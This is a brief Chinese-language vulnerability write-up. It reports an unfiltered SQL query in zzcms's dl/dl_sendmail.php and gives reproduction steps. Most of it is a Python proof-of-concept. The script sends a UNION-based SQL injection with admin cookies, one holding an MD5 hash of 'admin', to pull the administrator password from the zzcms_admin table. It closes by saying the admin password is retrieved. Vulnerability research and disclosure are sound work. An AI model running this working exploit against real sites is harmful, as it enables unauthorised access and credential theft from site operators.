一、 源代码分析
先来看一下源代码,漏洞位置位于
dl/dl_sendmail.php 第74行
根据代码可知SQL语句为post提交,中间并未进行过过滤,因此此处存在SQL注入
二、 复现步骤
POC如下:
import requests
url = "http://10.10.10.39:8080/dl/dl_sendmail.php"
cookies = {'UserName':'admin','PassWord':'21232f297a57a5a743894a0e4a801fc3'}
data = { 'sql':'select email from zzcms_dl where id=-1 union select pass from zzcms_admin #'}
q = requests.post(url,data,cookies=cookies)
q.encoding = 'utf-8'
print q.text
可以看到成功获得管理员密码